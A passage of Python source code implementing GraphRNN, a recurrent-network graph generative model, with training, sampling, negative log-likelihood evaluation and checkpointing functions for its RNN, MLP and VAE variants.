args.epochs_save == 0: fname = args.model_save_path + args.fname + 'lstm_' + str(epoch) + '.dat' torch.save(rnn.state_dict(), fname) fname = args.model_save_path + args.fname + 'output_' + str(epoch) + '.dat' torch.save(output.state_dict(), fname) epoch += 1 np.save(args.timing_save_path+args.fname,time_all) # Trains the model. Not super important to understand the details of def train_rnn_epoch(epoch, args, rnn, output, data_loader, optimizer_rnn, optimizer_output, scheduler_rnn, scheduler_output): rnn.train() output.train() loss_sum = 0 for batch_idx, data in enumerate(data_loader): rnn.zero_grad() output.zero_grad() x_unsorted = data['x'].float() y_unsorted = data['y'].float() y_len_unsorted = data['len'] y_len_max = max(y_len_unsorted) x_unsorted = x_unsorted[:, 0:y_len_max, :] # y_unsorted = [batch size, max number of nodes, max previous] y_unsorted = y_unsorted[:, 0:y_len_max, :] # initialize lstm hidden state according to batch size rnn.hidden = rnn.init_hidden(batch_size=x_unsorted.size(0)) # output.hidden = output.init_hidden(batch_size=x_unsorted.size(0)*x_unsorted.size(1)) # sort input y_len,sort_index = torch.sort(y_len_unsorted,0,descending=True) y_len = y_len.numpy().tolist() x = torch.index_select(x_unsorted,0,sort_index) y = torch.index_select(y_unsorted,0,sort_index) # input, output for output rnn module # a smart use of pytorch builtin function: pack variable--b1_l1,b2_l1,...,b1_l2,b2_l2,... y_reshape = pack_padded_sequence(y,y_len,batch_first=True).data # reverse y_reshape, so that their lengths are sorted, add dimension idx = [i for i in range(y_reshape.size(0)-1, -1, -1)] idx = torch.LongTensor(idx) y_reshape = y_reshape.index_select(0, idx) y_reshape = y_reshape.view(y_reshape.size(0),y_reshape.size(1),1) output_x = torch.cat((torch.ones(y_reshape.size(0),1,1),y_reshape[:,0:-1,0:1]),dim=1) output_y = y_reshape # batch size for output module: sum(y_len) output_y_len = [] output_y_len_bin = np.bincount(np.array(y_len)) for i in range(len(output_y_len_bin)-1,0,-1): count_temp = np.sum(output_y_len_bin[i:]) # count how many y_len is above i output_y_len.extend([min(i,y.size(2))]*count_temp) # put them in output_y_len; max value should not exceed y.size(2) # pack into variable x = Variable(x).to(device) y = Variable(y).to(device) output_x = Variable(output_x).to(device) output_y = Variable(output_y).to(device) # print(output_y_len) # print('len',len(output_y_len)) # print('y',y.size()) # print('output_y',output_y.size()) # if using ground truth to train h = rnn(x, pack=True, input_len=y_len) h = pack_padded_sequence(h,y_len,batch_first=True).data # get packed hidden vector # reverse h idx = [i for i in range(h.size(0) - 1, -1, -1)] idx = Variable(torch.LongTensor(idx)).to(device) h = h.index_select(0, idx) hidden_null = Variable(torch.zeros(args.num_layers-1, h.size(0), h.size(1))).to(device) output.hidden = torch.cat((h.view(1,h.size(0),h.size(1)),hidden_null),dim=0) # num_layers, batch_size, hidden_size y_pred = output(output_x, pack=True, input_len=output_y_len) y_pred = F.sigmoid(y_pred) # clean y_pred = pack_padded_sequence(y_pred, output_y_len, batch_first=True) y_pred = pad_packed_sequence(y_pred, batch_first=True)[0] output_y = pack_padded_sequence(output_y,output_y_len,batch_first=True) output_y = pad_packed_sequence(output_y,batch_first=True)[0] # use cross entropy loss loss = binary_cross_entropy_weight(y_pred, output_y) loss.backward() # update deterministic and lstm optimizer_output.step() optimizer_rnn.step() scheduler_output.step() scheduler_rnn.step() if epoch % args.epochs_log==0 and batch_idx==0: # only output first batch's statistics print('Epoch: {}/{}, train loss: {:.6f}, graph type: {}, num_layer: {}, hidden: {}'.format( epoch, args.epochs,loss.data[0], args.graph_type, args.num_layers, args.hidden_size_rnn)) # logging log_value('loss_'+args.fname, loss.data[0], epoch*args.batch_ratio+batch_idx) feature_dim = y.size(1)*y.size(2) loss_sum += loss.data[0]*feature_dim return loss_sum/(batch_idx+1) # Not important def test_rnn_epoch(epoch, args, rnn, output, test_batch_size=16): rnn.hidden = rnn.init_hidden(test_batch_size) rnn.eval() output.eval() # generate graphs max_num_node = int(args.max_num_node) y_pred_long = Variable(torch.zeros(test_batch_size, max_num_node, args.max_prev_node)).to(device) # discrete prediction x_step = Variable(torch.ones(test_batch_size,1,args.max_prev_node)).to(device) for i in range(max_num_node): h = rnn(x_step) # output.hidden = h.permute(1,0,2) hidden_null = Variable(torch.zeros(args.num_layers - 1, h.size(0), h.size(2))).to(device) output.hidden = torch.cat((h.permute(1,0,2), hidden_null), dim=0) # num_layers, batch_size, hidden_size x_step = Variable(torch.zeros(test_batch_size,1,args.max_prev_node)).to(device) output_x_step = Variable(torch.ones(test_batch_size,1,1)).to(device) for j in range(min(args.max_prev_node,i+1)): output_y_pred_step = output(output_x_step) output_x_step = sample_sigmoid(output_y_pred_step, sample=True, sample_time=1) x_step[:,:,j:j+1] = output_x_step output.hidden = Variable(output.hidden.data).to(device) y_pred_long[:, i:i + 1, :] = x_step rnn.hidden = Variable(rnn.hidden.data).to(device) y_pred_long_data = y_pred_long.data.long() # save graphs as pickle G_pred_list = [] for i in range(test_batch_size): adj_pred = decode_adj(y_pred_long_data[i].cpu().numpy()) G_pred = get_graph(adj_pred) # get a graph from zero-padded adj G_pred_list.append(G_pred) return G_pred_list ########### train function for LSTM + VAE def train(args, dataset_train, rnn, output): # check if load existing model if args.load: fname = args.model_save_path + args.fname + 'lstm_' + str(args.load_epoch) + '.dat' rnn.load_state_dict(torch.load(fname)) fname = args.model_save_path + args.fname + 'output_' + str(args.load_epoch) + '.dat' output.load_state_dict(torch.load(fname)) args.lr = 0.00001 epoch = args.load_epoch print('model loaded!, lr: {}'.format(args.lr)) else: epoch = 1 # initialize optimizer optimizer_rnn = optim.Adam(list(rnn.parameters()), lr=args.lr) optimizer_output = optim.Adam(list(output.parameters()), lr=args.lr) scheduler_rnn = MultiStepLR(optimizer_rnn, milestones=args.milestones, gamma=args.lr_rate) scheduler_output = MultiStepLR(optimizer_output, milestones=args.milestones, gamma=args.lr_rate) # start main loop time_all = np.zeros(args.epochs) while epoch<=args.epochs: time_start = tm.time() # train if 'GraphRNN_VAE' in args.note: train_vae_epoch(epoch, args, rnn, output, dataset_train, optimizer_rnn, optimizer_output, scheduler_rnn, scheduler_output) elif 'GraphRNN_MLP' in args.note: train_mlp_epoch(epoch, args, rnn, output, dataset_train, optimizer_rnn, optimizer_output, scheduler_rnn, scheduler_output) elif 'GraphRNN_RNN' in args.note: if args.graph_classification: train_rnn_graph_class_epoch(epoch, args, rnn, output, dataset_train, optimizer_rnn, optimizer_output, scheduler_rnn, scheduler_output) else: train_rnn_epoch(epoch, args, rnn, output, dataset_train, optimizer_rnn, optimizer_output, scheduler_rnn, scheduler_output) time_end = tm.time() time_all[epoch - 1] = time_end - time_start # test if epoch % args.epochs_test == 0 and epoch>=args.epochs_test_start: for sample_time in range(1,4): G_pred = [] while len(G_pred)<args.test_total_size: if 'GraphRNN_VAE' in args.note: G_pred_step = test_vae_epoch(epoch, args, rnn, output, test_batch_size=args.test_batch_size,sample_time=sample_time) elif 'GraphRNN_MLP' in args.note: G_pred_step = test_mlp_epoch(epoch, args, rnn, output, test_batch_size=args.test_batch_size,sample_time=sample_time) elif 'GraphRNN_RNN' in args.note: G_pred_step = test_rnn_epoch(epoch, args, rnn, output, test_batch_size=args.test_batch_size) G_pred.extend(G_pred_step) # save graphs fname = args.graph_save_path + args.fname_pred + str(epoch) +'_'+str(sample_time) + '.dat' save_graph_list(G_pred, fname) if 'GraphRNN_RNN' in args.note: break print('test done, graphs saved') # save model checkpoint if args.save: if epoch % args.epochs_save == 0: fname = args.model_save_path + args.fname + 'lstm_' + str(epoch) + '.dat' torch.save(rnn.state_dict(), fname) fname = args.model_save_path + args.fname + 'output_' + str(epoch) + '.dat' torch.save(output.state_dict(), fname) epoch += 1 np.save(args.timing_save_path+args.fname,time_all) # Given a data_loader full of graphs, runs through the # data loader once to calculate the nll for every graph # in the dataset def rnn_data_nll(args, rnn, output, data_loader): rnn.train() output.train() # Get the nlls for every graph in the dataset nlls = [] avg_nlls = [] for batch_idx, data in enumerate(data_loader): rnn.zero_grad() output.zero_grad() x_unsorted = data['x'].float() y_unsorted = data['y'].float() y_len_unsorted = data['len'] y_len_max = max(y_len_unsorted) x_unsorted = x_unsorted[:, 0:y_len_max, :] y_unsorted = y_unsorted[:, 0:y_len_max, :] # initialize lstm hidden state according to batch size rnn.hidden = rnn.init_hidden(batch_size=x_unsorted.size(0)) # sort input y_len,sort_index = torch.sort(y_len_unsorted,0,descending=True) y_len = y_len.numpy().tolist() x = torch.index_select(x_unsorted,0,sort_index) y = torch.index_select(y_unsorted,0,sort_index) # input, output for output rnn module # a smart use of pytorch builtin function: pack variable--b1_l1,b2_l1,...,b1_l2,b2_l2,... # If batch size = 1 then nothing changes here except the batch dimension is removed y_reshape = pack_padded_sequence(y,y_len,batch_first=True).data # reverse y_reshape, so that their lengths are sorted, add dimension idx = [i for i in range(y_reshape.size(0)-1, -1, -1)] idx = torch.LongTensor(idx) y_reshape = y_reshape.index_select(0, idx) y_reshape = y_reshape.view(y_reshape.size(0),y_reshape.size(1),1) output_x = torch.cat((torch.ones(y_reshape.size(0),1,1),y_reshape[:,0:-1,0:1]),dim=1) # What is going on here? output_y = y_reshape # batch size for output module: sum(y_len) output_y_len = [] output_y_len_bin = np.bincount(np.array(y_len)) for i in range(len(output_y_len_bin)-1,0,-1): count_temp = np.sum(output_y_len_bin[i:]) # count how many y_len is above i output_y_len.extend([min(i,y.size(2))]*count_temp) # put them in output_y_len; max value should not exceed y.size(2) # pack into variable x = Variable(x).to(device) y = Variable(y).to(device) output_x = Variable(output_x).to(device) output_y = Variable(output_y).to(device) h = rnn(x, pack=True, input_len=y_len) h = pack_padded_sequence(h,y_len,batch_first=True).data # get packed hidden vector # reverse h idx = [i for i in range(h.size(0) - 1, -1, -1)] idx = Variable(torch.LongTensor(idx)).to(device) h = h.index_select(0, idx) hidden_null = Variable(torch.zeros(args.num_layers-1, h.size(0), h.size(1))).to(device) output.hidden = torch.cat((h.view(1,h.size(0),h.size(1)),hidden_null),dim=0) # num_layers, ??, hidden_size y_pred = output(output_x, pack=True, input_len=output_y_len) y_pred = F.sigmoid(y_pred) # clean y_pred = pack_padded_sequence(y_pred, output_y_len, batch_first=True) y_pred = pad_packed_sequence(y_pred, batch_first=True)[0] output_y = pack_padded_sequence(output_y,output_y_len,batch_first=True) output_y = pad_packed_sequence(output_y,batch_first=True)[0] # How could we get the last hidden state to somehow do graph level prediction? loss = binary_cross_entropy_weight(y_pred, output_y) # Because the BCELoss by default takes the mean over the # output, we want to multiply by the dimension of the feature # space to maintain the sum over the log probabilities for the # component of each sequence. # --------------------------- # We could also use the BCE with reduction flag 'sum' feature_dim = y_pred.size(0)*y_pred.size(1) # Note that here y.size(0) = 1 avg_loss = loss.data[0] loss = loss.data[0]*feature_dim/y.size(0) # Add the loss to the nll for all the data nlls.append(loss.item()) avg_nlls.append(avg_loss.item()) return nlls, avg_nlls # This function gets the loglikelihoods of the data def calc_nll(args, data_loader, rnn, output, max_iter=100, load_epoch=3000, train_dataset=None, log=10): """ C """ ''' # Set the epoch we are loading from args.load_epoch = load_epoch if train_dataset: fname = args.note + '_' + train_dataset + '_' + str(args.num_layers) + '_' + str(args.hidden_size_rnn) + '_' fname_rnn = args.model_save_path + fname + 'lstm_' + str(args.load_epoch) + '.dat' fname_out = args.model_save_path + fname + 'output_' + str(args.load_epoch) + '.dat' else: fname_rnn = args.model_save_path + args.fname + 'lstm_' + str(args.load_epoch) + '.dat' fname_out = args.model_save_path + args.fname + 'output_' + str(args.load_epoch) + '.dat' print (fname_rnn) rnn.load_state_dict(torch.load(fname_rnn)) output.load_state_dict(torch.load(fname_out)) epoch = args.load_epoch print('model loaded!, epoch: {}'.format(args.load_epoch)) ''' # Calculate nll over dataset max_iter times, # to test robustness to permutations of the bfs # ordered adjacency matrix for the same graphs. nlls = [] avg_nlls = [] for i in range(max_iter): nll, avg_nll = rnn_data_nll(args, rnn, output, data_loader) # Logging info # May want to also include std statistics if (i + 1) % log == 0: print ("Iteration:", i + 1) print ("Average Nll over train data:", np.mean(avg_nll)) nlls.extend(nll) avg_nlls.extend(avg_nll) return nlls, avg_nlls # Not used! def analyze_nll(args, dataset_train, dataset_test, rnn, output,graph_validate_len,graph_test_len, max_iter = 1000, dataset=None): """ Given a trained model, calculate the negative log likelihoods for each data point in the train and test set and then create a histogram to display the distribution of nlls. """ if dataset: fname = args.note + '_' + dataset + '_' + str(args.num_layers) + '_' + str(args.hidden_size_rnn) + '_' fname_rnn = args.model_save_path + fname + 'lstm_' + str(args.load_epoch) + '.dat' fname_out = args.model_save_path + fname + 'output_' + str(args.load_epoch) + '.dat' else: fname_rnn = args.model_save_path + args.fname + 'lstm_' + str(args.load_epoch) + '.dat' fname_out = args.model_save_path + args.fname + 'output_' + str(args.load_epoch) + '.dat' rnn.load_state_dict(torch.load(fname_rnn)) output.load_state_dict(torch.load(fname_out)) epoch = args.load_epoch print('model loaded!, epoch: {}'.format(args.load_epoch)) for i in range(10): print (i) nlls_train, _ = rnn_data_nll(args, rnn, output, dataset_train) print (np.mean(nlls_train)) #nll_test = rnn_data_nll(epoch, args, rnn, output, dataset_test) # Make histogram #n, bins, patches = plt.hist(nlls_train, 10, rwidth=0.3, facecolor='g', alpha=0.75) #print (bins) #plt.xlabel('NNL') #plt.ylabel('Count') #plt.title('Histogram of IQ') #plt.text(60, .025, r'$\mu=100,\ \sigma=15$') #plt.xlim(40, 160) #plt.ylim(0, 0.03) #plt.xscale("log") #plt.yscale("log") #plt.grid(True) #plt.show() _, be = np.histogram(nlls_train, bins='auto') #print (len(be)) #plt.hist(nlls_train, 20, histtype='stepfilled', edgecolor='black', log=True, normed=True) #plt.xscale("log") #plt.show() plt.figure() sns.distplot(nlls_train, kde=True) #plt.xlim([0, 55]) plt.show() #plt.savefig("Histogram.png") print('NLL evaluation done') #### OLD UNUSED CODE #### ''' ########### for graph completion task def train_graph_completion(args, dataset_test, rnn, output): fname = args.model_save_path + args.fname + 'lstm_' + str(args.load_epoch) + '.dat' rnn.load_state_dict(torch.load(fname)) fname = args.model_save_path + args.fname + 'output_' + str(args.load_epoch) + '.dat' output.load_state_dict(torch.load(fname)) epoch = args.load_epoch print('model loaded!, epoch: {}'.format(args.load_epoch)) for sample_time in range(1,4): if 'GraphRNN_MLP' in args.note: G_pred = test_mlp_partial_simple_epoch(epoch, args, rnn, output, dataset_test,sample_time=sample_time) if 'GraphRNN_VAE' in args.note: G_pred = test_vae_partial_epoch(epoch, args, rnn, output, dataset_test,sample_time=sample_time) # save graphs fname = args.graph_save_path + args.fname_pred + str(epoch) +'_'+str(sample_time) + 'graph_completion.dat' save_graph_list(G_pred, fname) print('graph completion done, graphs saved') # Not used and not important! def train_rnn_forward_epoch(epoch, args, rnn, output, data_loader): rnn.train() output.train() loss_sum = 0 for batch_idx, data in enumerate(data_loader): rnn.zero_grad() output.zero_grad() x_unsorted = data['x'].float() y_unsorted = data['y'].float() y_len_unsorted = data['len'] y_len_max = max(y_len_unsorted) x_unsorted = x_unsorted[:, 0:y_len_max, :] y_unsorted = y_unsorted[:, 0:y_len_max, :] # initialize lstm hidden state according to batch size rnn.hidden = rnn.init_hidden(batch_size=x_unsorted.size(0)) # output.hidden = output.init_hidden(batch_size=x_unsorted.size(0)*x_unsorted.size(1)) # sort input y_len,sort_index = torch.sort(y_len_unsorted,0,descending=True) y_len = y_len.numpy().tolist() x = torch.index_select(x_unsorted,0,sort_index) y = torch.index_select(y_unsorted,0,sort_index) # input, output for output rnn module # a smart use of pytorch builtin function: pack variable--b1_l1,b2_l1,...,b1_l2,b2_l2,... y_reshape = pack_padded_sequence(y,y_len,batch_first=True).data # reverse y_reshape, so that their lengths are sorted, add dimension idx = [i for i in range(y_reshape.size(0)-1, -1, -1)] idx = torch.LongTensor(idx) y_reshape = y_reshape.index_select(0, idx) y_reshape = y_reshape.view(y_reshape.size(0),y_reshape.size(1),1) output_x = torch.cat((torch.ones(y_reshape.size(0),1,1),y_reshape[:,0:-1,0:1]),dim=1) output_y = y_reshape # batch size for output module: sum(y_len) output_y_len = [] output_y_len_bin = np.bincount(np.array(y_len)) for i in range(len(output_y_len_bin)-1,0,-1): count_temp = np.sum(output_y_len_bin[i:]) # count how many y_len is above i output_y_len.extend([min(i,y.size(2))]*count_temp) # put them in output_y_len; max value should not exceed y.size(2) # pack into variable x = Variable(x).to(device) y = Variable(y).to(device) output_x = Variable(output_x).to(device) output_y = Variable(output_y).to(device) # print(output_y_len) # print('len',len(output_y_len)) # print('y',y.size()) # print('output_y',output_y.size()) # if using ground truth to train h = rnn(x, pack=True, input_len=y_len) h = pack_padded_sequence(h,y_len,batch_first=True).data # get packed hidden vector # reverse h idx = [i for i in range(h.size(0) - 1, -1, -1)] idx = Variable(torch.LongTensor(idx)).to(device) h = h.index_select(0, idx) hidden_null = Variable(torch.zeros(args.num_layers-1, h.size(0), h.size(1))).to(device) output.hidden = torch.cat((h.view(1,h.size(0),h.size(1)),hidden_null),dim=0) # num_layers, batch_size, hidden_size y_pred = output(output_x, pack=True, input_len=output_y_len) y_pred = F.sigmoid(y_pred) # clean y_pred = pack_padded_sequence(y_pred, output_y_len, batch_first=True) y_pred = pad_packed_sequence(y_pred, batch_first=True)[0] output_y = pack_padded_sequence(output_y,output_y_len,batch_first=True) output_y = pad_packed_sequence(output_y,batch_first=True)[0] # use cross entropy loss loss = binary_cross_entropy_weight(y_pred, output_y) if epoch % args.epochs_log==0 and batch_idx==0: # only output first batch's statistics print('Epoch: {}/{}, train loss: {:.6f}, graph type: {}, num_layer: {}, hidden: {}'.format( epoch, args.epochs,loss.data[0], args.graph_type, args.num_layers, args.hidden_size_rnn)) # logging log_value('loss_'+args.fname, loss.data[0], epoch*args.batch_ratio+batch_idx) # print(y_pred.size()) feature_dim = y_pred.size(0)*y_pred.size(1) loss_sum += loss.data[0]*feature_dim/y.size(0) return loss_sum/(batch_idx+1) ########### for NLL evaluation def train_nll(args, dataset_train, dataset_test, rnn, output,graph_validate_len,graph_test_len, max_iter = 1000): fname = args.model_save_path + args.fname + 'lstm_' + str(args.load_epoch) + '.dat' rnn.load_state_dict(torch.load(fname)) fname = args.model_save_path + args.fname + 'output_' + str(args.load_epoch) + '.dat' output.load_state_dict(torch.load(fname)) epoch = args.load_epoch print('model loaded!, epoch: {}'.format(args.load_epoch)) fname_output = args.nll_save_path + args.note + '_' + args.graph_type + '.csv' with open(fname_output, 'w+') as f: f.write(str(graph_validate_len)+','+str(graph_test_len)+'\n') f.write('train,test\n') for iter in range(max_iter): print(iter) if 'GraphRNN_MLP' in args.note: nll_train = train_mlp_forward_epoch(epoch, args, rnn, output, dataset_train) nll_test = train_mlp_forward_epoch(epoch, args, rnn, output, dataset_test) if 'GraphRNN_RNN' in args.note: nll_train = train_rnn_forward_epoch(epoch, args, rnn, output, dataset_train) nll_test = train_rnn_forward_epoch(epoch, args, rnn, output, dataset_test) print('train',nll_train,'test',nll_test) f.write(str(nll_train)+','+str(nll_test)+'\n') print('NLL evaluation done') def train_vae_epoch(epoch, args, rnn, output, data_loader, optimizer_rnn, optimizer_output, scheduler_rnn, scheduler_output): rnn.train() output.train() loss_sum = 0 for batch_idx, data in enumerate(data_loader): rnn.zero_grad() output.zero_grad() x_unsorted = data['x'].float() y_unsorted = data['y'].float() y_len_unsorted = data['len'] y_len_max = max(y_len_unsorted) x_unsorted = x_unsorted[:, 0:y_len_max, :] y_unsorted = y_unsorted[:, 0:y_len_max, :] # initialize lstm hidden state according to batch size rnn.hidden = rnn.init_hidden(batch_size=x_unsorted.size(0)) # sort input y_len,sort_index = torch.sort(y_len_unsorted,0,descending=True) y_len = y_len.numpy().tolist() x = torch.index_select(x_unsorted,0,sort_index) y = torch.index_select(y_unsorted,0,sort_index) x = Variable(x).to(device) y = Variable(y).to(device) # if using ground truth to train h = rnn(x, pack=True, input_len=y_len) y_pred,z_mu,z_lsgms = output(h) y_pred = F.sigmoid(y_pred) # clean y_pred = pack_padded_sequence(y_pred, y_len, batch_first=True) y_pred = pad_packed_sequence(y_pred, batch_first=True)[0] z_mu = pack_padded_sequence(z_mu, y_len, batch_first=True) z_mu = pad_packed_sequence(z_mu, batch_first=True)[0] z_lsgms = pack_padded_sequence(z_lsgms, y_len, batch_first=True) z_lsgms = pad_packed_sequence(z_lsgms, batch_first=True)[0] # use cross entropy loss loss_bce = binary_cross_entropy_weight(y_pred, y) loss_kl = -0.5 * torch.sum(1 + z_lsgms - z_mu.pow(2) - z_lsgms.exp()) loss_kl /= y.size(0)*y.size(1)*sum(y_len) # normalize loss = loss_bce + loss_kl loss.backward() # update deterministic and lstm optimizer_output.step() optimizer_rnn.step() scheduler_output.step() scheduler_rnn.step() z_mu_mean = torch.mean(z_mu.data) z_sgm_mean = torch.mean(z_lsgms.mul(0.5).exp_().data) z_mu_min = torch.min(z_mu.data) z_sgm_min = torch.min(z_lsgms.mul(0.5).exp_().data) z_mu_max = torch.max(z_mu.data) z_sgm_max = torch.max(z_lsgms.mul(0.5).exp_().data) if epoch % args.epochs_log==0 and batch_idx==0: # only output first batch's statistics print('Epoch: {}/{}, train bce loss: {:.6f}, train kl loss: {:.6f}, graph type: {}, num_layer: {}, hidden: {}'.format( epoch, args.epochs,loss_bce.data[0], loss_kl.data[0], args.graph_type, args.num_layers, args.hidden_size_rnn)) print('z_mu_mean', z_mu_mean, 'z_mu_min', z_mu_min, 'z_mu_max', z_mu_max, 'z_sgm_mean', z_sgm_mean, 'z_sgm_min', z_sgm_min, 'z_sgm_max', z_sgm_max) # logging log_value('bce_loss_'+args.fname, loss_bce.data[0], epoch*args.batch_ratio+batch_idx) log_value('kl_loss_' +args.fname, loss_kl.data[0], epoch*args.batch_ratio + batch_idx) log_value('z_mu_mean_'+args.fname, z_mu_mean, epoch*args.batch_ratio + batch_idx) log_value('z_mu_min_'+args.fname, z_mu_min, epoch*args.batch_ratio + batch_idx) log_value('z_mu_max_'+args.fname, z_mu_max, epoch*args.batch_ratio + batch_idx) log_value('z_sgm_mean_'+args.fname, z_sgm_mean, epoch*args.batch_ratio + batch_idx) log_value('z_sgm_min_'+args.fname, z_sgm_min, epoch*args.batch_ratio + batch_idx) log_value('z_sgm_max_'+args.fname, z_sgm_max, epoch*args.batch_ratio + batch_idx) loss_sum += loss.data[0] return loss_sum/(batch_idx+1) def test_vae_epoch(epoch, args, rnn, output, test_batch_size=16, save_histogram=False, sample_time = 1): rnn.hidden = rnn.init_hidden(test_batch_size) rnn.eval() output.eval() # generate graphs max_num_node = int(args.max_num_node) y_pred = Variable(torch.zeros(test_batch_size, max_num_node, args.max_prev_node)).to(device) # normalized prediction score y_pred_long = Variable(torch.zeros(test_batch_size, max_num_node, args.max_prev_node)).to(device) # discrete prediction x_step = Variable(torch.ones(test_batch_size,1,args.max_prev_node)).to(device) for i in range(max_num_node): h = rnn(x_step) y_pred_step, _, _ = output(h) y_pred[:, i:i + 1, :] = F.sigmoid(y_pred_step) x_step = sample_sigmoid(y_pred_step, sample=True, sample_time=sample_time) y_pred_long[:, i:i + 1, :] = x_step rnn.hidden = Variable(rnn.hidden.data).to(device) y_pred_data = y_pred.data y_pred_long_data = y_pred_long.data.long() # save graphs as pickle G_pred_list = [] for i in range(test_batch_size): adj_pred = decode_adj(y_pred_long_data[i].cpu().numpy()) G_pred = get_graph(adj_pred) # get a graph from zero-padded adj G_pred_list.append(G_pred) # save prediction histograms, plot histogram over each time step # if save_histogram: # save_prediction_histogram(y_pred_data.cpu().numpy(), # fname_pred=args.figure_prediction_save_path+args.fname_pred+str(epoch)+'.jpg', # max_num_node=max_num_node) return G_pred_list def test_vae_partial_epoch(epoch, args, rnn, output, data_loader, save_histogram=False,sample_time=1): rnn.eval() output.eval() G_pred_list = [] for batch_idx, data in enumerate(data_loader): x = data['x'].float() y = data['y'].float() y_len = data['len'] test_batch_size = x.size(0) rnn.hidden = rnn.init_hidden(test_batch_size) # generate graphs max_num_node = int(args.max_num_node) y_pred = Variable(torch.zeros(test_batch_size, max_num_node, args.max_prev_node)).to(device) # normalized prediction score y_pred_long = Variable(torch.zeros(test_batch_size, max_num_node, args.max_prev_node)).to(device) # discrete prediction x_step = Variable(torch.ones(test_batch_size,1,args.max_prev_node)).to(device) for i in range(max_num_node): print('finish node',i) h = rnn(x_step) y_pred_step, _, _ = output(h) y_pred[:, i:i + 1, :] = F.sigmoid(y_pred_step) x_step = sample_sigmoid_supervised(y_pred_step, y[:,i:i+1,:].to(device), current=i, y_len=y_len, sample_time=sample_time) y_pred_long[:, i:i + 1, :] = x_step rnn.hidden = Variable(rnn.hidden.data).to(device) y_pred_data = y_pred.data y_pred_long_data = y_pred_long.data.long() # save graphs as pickle for i in range(test_batch_size): adj_pred = decode_adj(y_pred_long_data[i].cpu().numpy()) G_pred = get_graph(adj_pred) # get a graph from zero-padded adj G_pred_list.append(G_pred) return G_pred_list def train_mlp_epoch(epoch, args, rnn, output, data_loader, optimizer_rnn, optimizer_output, scheduler_rnn, scheduler_output): rnn.train() output.train() loss_sum = 0 for batch_idx, data in enumerate(data_loader): rnn.zero_grad() output.zero_grad() x_unsorted = data['x'].float() y_unsorted = data['y'].float() y_len_unsorted = data['len'] y_len_max = max(y_len_unsorted) x_unsorted = x_unsorted[:, 0:y_len_max, :] y_unsorted = y_unsorted[:, 0:y_len_max, :] # initialize lstm hidden state according to batch size rnn.hidden = rnn.init_hidden(batch_size=x_unsorted.size(0)) # sort input y_len,sort_index = torch.sort(y_len_unsorted,0,descending=True) y_len = y_len.numpy().tolist() x = torch.index_select(x_unsorted,0,sort_index) y = torch.index_select(y_unsorted,0,sort_index) x = Variable(x).to(device) y = Variable(y).to(device) h = rnn(x, pack=True, input_len=y_len) y_pred = output(h) y_pred = F.sigmoid(y_pred) # clean y_pred = pack_padded_sequence(y_pred, y_len, batch_first=True) y_pred = pad_packed_sequence(y_pred, batch_first=True)[0] # use cross entropy loss loss = binary_cross_entropy_weight(y_pred, y) loss.backward() # update deterministic and lstm optimizer_output.step() optimizer_rnn.step() scheduler_output.step() scheduler_rnn.step() if epoch % args.epochs_log==0 and batch_idx==0: # only output first batch's statistics print('Epoch: {}/{}, train loss: {:.6f}, graph type: {}, num_layer: {}, hidden: {}'.format( epoch, args.epochs,loss.data[0], args.graph_type, args.num_layers, args.hidden_size_rnn)) # logging log_value('loss_'+args.fname, loss.data[0], epoch*args.batch_ratio+batch_idx) loss_sum += loss.data[0] return loss_sum/(batch_idx+1) def test_mlp_epoch(epoch, args, rnn, output, test_batch_size=16, save_histogram=False,sample_time=1): rnn.hidden = rnn.init_hidden(test_batch_size) rnn.eval() output.eval() # generate graphs max_num_node = int(args.max_num_node) y_pred = Variable(torch.zeros(test_batch_size, max_num_node, args.max_prev_node)).to(device) # normalized prediction score y_pred_long = Variable(torch.zeros(test_batch_size, max_num_node, args.max_prev_node)).to(device) # discrete prediction x_step = Variable(torch.ones(test_batch_size,1,args.max_prev_node)).to(device) for i in range(max_num_node): h = rnn(x_step) y_pred_step = output(h) y_pred[:, i:i + 1, :] = F.sigmoid(y_pred_step) x_step = sample_sigmoid(y_pred_step, sample=True, sample_time=sample_time) y_pred_long[:, i:i + 1, :] = x_step rnn.hidden = Variable(rnn.hidden.data).to(device) y_pred_data = y_pred.data y_pred_long_data = y_pred_long.data.long() # save graphs as pickle G_pred_list = [] for i in range(test_batch_size): adj_pred = decode_adj(y_pred_long_data[i].cpu().numpy()) G_pred = get_graph(adj_pred) # get a graph from zero-padded adj G_pred_list.append(G_pred) # # save prediction histograms, plot histogram over each time step # if save_histogram: # save_prediction_histogram(y_pred_data.cpu().numpy(), # fname_pred=args.figure_prediction_save_path+args.fname_pred+str(epoch)+'.jpg', # max_num_node=max_num_node) return G_pred_list def test_mlp_partial_epoch(epoch, args, rnn, output, data_loader, save_histogram=False,sample_time=1): rnn.eval() output.eval() G_pred_list = [] for batch_idx, data in enumerate(data_loader): x = data['x'].float() y = data['y'].float() y_len = data['len'] test_batch_size = x.size(0) rnn.hidden = rnn.init_hidden(test_batch_size) # generate graphs max_num_node = int(args.max_num_node) y_pred = Variable(torch.zeros(test_batch_size, max_num_node, args.max_prev_node)).to(device) # normalized prediction score y_pred_long = Variable(torch.zeros(test_batch_size, max_num_node, args.max_prev_node)).to(device) # discrete prediction x_step = Variable(torch.ones(test_batch_size,1,args.max_prev_node)).to(device) for i in range(max_num_node): print('finish node',i) h = rnn(x_step) y_pred_step = output(h) y_pred[:, i:i + 1, :] = F.sigmoid(y_pred_step) x_step = sample_sigmoid_supervised(y_pred_step, y[:,i:i+1,:].to(device), current=i, y_len=y_len, sample_time=sample_time) y_pred_long[:, i:i + 1, :] = x_step rnn.hidden = Variable(rnn.hidden.data).to(device) y_pred_data = y_pred.data y_pred_long_data = y_pred_long.data.long() # save graphs as pickle for i in range(test_batch_size): adj_pred = decode_adj(y_pred_long_data[i].cpu().numpy()) G_pred = get_graph(adj_pred) # get a graph from zero-padded adj G_pred_list.append(G_pred) return G_pred_list def test_mlp_partial_simple_epoch(epoch, args, rnn, output, data_loader, save_histogram=False,sample_time=1): rnn.eval() output.eval() G_pred_list = [] for batch_idx, data in enumerate(data_loader): x = data['x'].float() y = data['y'].float() y_len = data['len'] test_batch_size = x.size(0) rnn.hidden = rnn.init_hidden(test_batch_size) # generate graphs max_num_node = int(args.max_num_node) y_pred = Variable(torch.zeros(test_batch_size, max_num_node, args.max_prev_node)).to(device) # normalized prediction score y_pred_long = Variable(torch.zeros(test_batch_size, max_num_node, args.max_prev_node)).to(device) # discrete prediction x_step = Variable(torch.ones(test_batch_size,1,args.max_prev_node)).to(device) for i in range(max_num_node): print('finish node',i) h = rnn(x_step) y_pred_step = output(h) y_pred[:, i:i + 1, :] = F.sigmoid(y_pred_step) x_step = sample_sigmoid_supervised_simple(y_pred_step, 